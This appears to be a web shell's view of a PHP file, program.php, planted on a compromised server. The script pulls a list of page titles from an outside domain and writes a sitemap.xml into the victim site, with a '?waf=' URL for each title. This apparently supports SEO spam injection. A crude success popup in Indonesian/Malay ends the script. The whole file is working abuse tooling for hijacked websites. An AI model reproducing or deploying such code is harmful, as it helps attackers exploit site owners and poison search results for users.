Disable Functions: Path : /proc/thread-self/cwd/ |
Current File : //proc/thread-self/cwd/program.php |
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Generate Sitemap</title> <!-- Tambahkan SweetAlert2 CSS --> <link href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css" rel="stylesheet"> </head> <body> <?php function getFileRowCount($filename) { $file = fopen($filename, "r"); $rowCount = 0; while (!feof($file)) { fgets($file); $rowCount++; } fclose($file); return $rowCount; } $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlAsli = str_replace("program.php", "", $baseUrl); $judulFile = "https://senggol-sana-sini.buzz/amp/tunell/p.txt"; $jumlahBaris = getFileRowCount($judulFile); $sitemapFile = fopen("sitemap.xml", "w"); fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($fileLines as $index => $judul) { $sitemapLink = $urlAsli . '?waf=' . urlencode($judul); fwrite($sitemapFile, ' <url>' . PHP_EOL); fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL); fwrite($sitemapFile, ' </url>' . PHP_EOL); } fwrite($sitemapFile, '</urlset>' . PHP_EOL); fclose($sitemapFile); // Tampilkan pesan sukses dengan SweetAlert2 echo "<script src='https://cdn.jsdelivr.net/npm/sweetalert2@11'></script>"; echo "<script> Swal.fire({ title: 'Selesai!', text: 'DAH KELAR PUKIMAK !!!', icon: 'success', confirmButtonText: 'OK' }); </script>"; } else { echo "URL saat ini tidak didefinisikan."; } ?> </body> </html>